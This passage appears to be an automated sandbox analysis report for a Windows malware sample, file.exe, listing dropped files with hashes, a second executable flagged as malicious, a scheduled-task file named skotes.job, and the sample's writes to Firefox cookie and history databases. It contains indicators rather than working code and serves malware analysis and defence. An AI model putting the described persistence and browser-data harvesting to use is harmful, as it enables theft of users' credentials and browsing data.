Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6944_397162566\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsGCBFBGCGIJ.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1858048
Entropy (8bit):	7.948808820686896
Encrypted:	false
SSDEEP:	49152:j++S/0Cfy6rIyGFA0F8yU/qfb7u5CpRvSM/TG:y+89yxyGrdVfcCpRlK
MD5:	AE0E62A9AE1F471958341B45817B6804
SHA1:	E13376D4BDB2E56751DC4C52D9AD24ED55D72877
SHA-256:	9B73356104654687374DFAB3C5554E15DFB402A1089750D9C431E1C4964DE8CB
SHA-512:	50D4EB6392626E7A337104E00EB819767F051BBE8975555B1621C88AF4F1FC1D1F0B44360C94DE00F7BD20D2590964D3FEDAC79C0BEF9B334B934C87D19C2A83
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................0J.....9.....@.................................W...k.......H...................<.I...............................I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...hwqxmwlo.@....0..<..................@...mfzfwoib......I......4..............@....taggant.0....J.."...8..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsGCBFBGCGIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4434672720589012
Encrypted:	false
SSDEEP:	6:ZANBtbMDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBxl/Jut0:ZATtbQlvJQ1CGAFMkXd8kX+VBj/wt0
MD5:	6F7E01D1CCB7B96A4DF902299649DD62
SHA1:	32146E5338FD2AC0C019D15373123407F43A3533
SHA-256:	6052E5F240131CB35896C8AFCD030CBC5E83EAB7650CF7B1C32FA20A3ACED5AE
SHA-512:	E781CC66B5E5F0B498AB85E0907A5EE0141EB2E0FA6318F770F1F86493BA1998ACA62FEF61A4082F52266CE44BE170E54EEF1A802A9778CC3E19FEE5E93E82F7
Malicious:	false
Preview:	.... <R\..kJ.d..tk.zF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5222)
Category:	downloaded
Size (bytes):	5227
Entropy (8bit):	5.815547775615384
Encrypted:	false
SSDEEP:	96:dWQli6kcFd66666dtb0JNXIuxIMYSVjNTZeTmOsSDVibnmBYFMppGZ1O+aI6GQfT:dlVkcFd66666oJxIYljdATmNOVi7m+uD
MD5:	B2FF6D57FD18CDC61B96158CE946D8E9
SHA1:	1891DE677D07ED54A5DF17318D25FB61C1EDA56C
SHA-256:	96847FB41669E27A90F5E2B9C27266734F8D9671A4C14C013157A6420463BFE0
SHA-512:	0C897D04167AD348FE9A4A49E545F5F879CCF336E4C86BC4812510C99E008A27562B97A9EFC2D569C19DF72F08298C677C18CA640A72D9E2E69FD5575A859819
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["victoria kjaer theilvig miss universe","mlb juan soto","target earnings report","youtube gaming recap","mortgage rates november 2024","washington commanders","disneyland social clubs","hazard hero overwatch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWY1aHZ0MmpyEidKdWFuIFNvdG8g4oCUIERvbWluaWNhbiBiYXNlYmFsbCBwbGF5ZXIy1w1kYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUFBQVFBQkFBRC8yd0NFQUFrR0J3Z0hCZ2tJQndnS0Nna0xEUllQRFF3TURSc1VGUkFXSUIwaUlpQWRIeDhrS0RRc0pDWXhKeDhmTFQwdE1UVTNPam82SXlzL1JEODRRelE1T2pjQkNnb0tEUXdOR2c4UEdqY2xIeVUzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM04vL0FBQkVJQUVBQVFBTUJJZ0FDRVFFREVRSC94QUFjQUFBQkJBTUJBQUFBQUFBQUFBQUFBQUFHQUFFRUJ3SURCUWoveEFBekVBQUNBUU1DQkFNRkNBTUJBQUFBQUFBQkFnTUFCQkVGSVFZU0V6RkJVV0VVSWxLUm9RY1ZJekppY1lHeEpFS0NGdi9FQUJrQkFBSURBU

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946379788719456
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'848'320 bytes
MD5:	ff8eb93e00cf8c24c14b4a9b713f2115
SHA1:	928bf41910af49788bfa067e0302312b33c9fb5b
SHA256:	d729e5ca94577644c249e1534a56301da41832b32e81bc4866742a908359238e
SHA512:	1147cb55542da0a15c26d60f2a8f4e69580259dccdfb69ed938666123b679f9fad2cf169aafaf47286721c67fade42b3e87c5c2a089bcd239513c5b3074430a9
SSDEEP:	49152:2EH/jBAM9sx3cSxzRDma8FUc/g3k1skFtnLJq1rjf:3fqgWfxtDB8Fs01skFtn1mj
TLSH:	EE8533C9A7766C68CEBA1B32A73406CC6D1821B731F2A58E08DC7C7D4C47E4B9369635
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaae000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1D546E490Ah
movlps xmm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1D546E6905h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [0B00000Ah], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
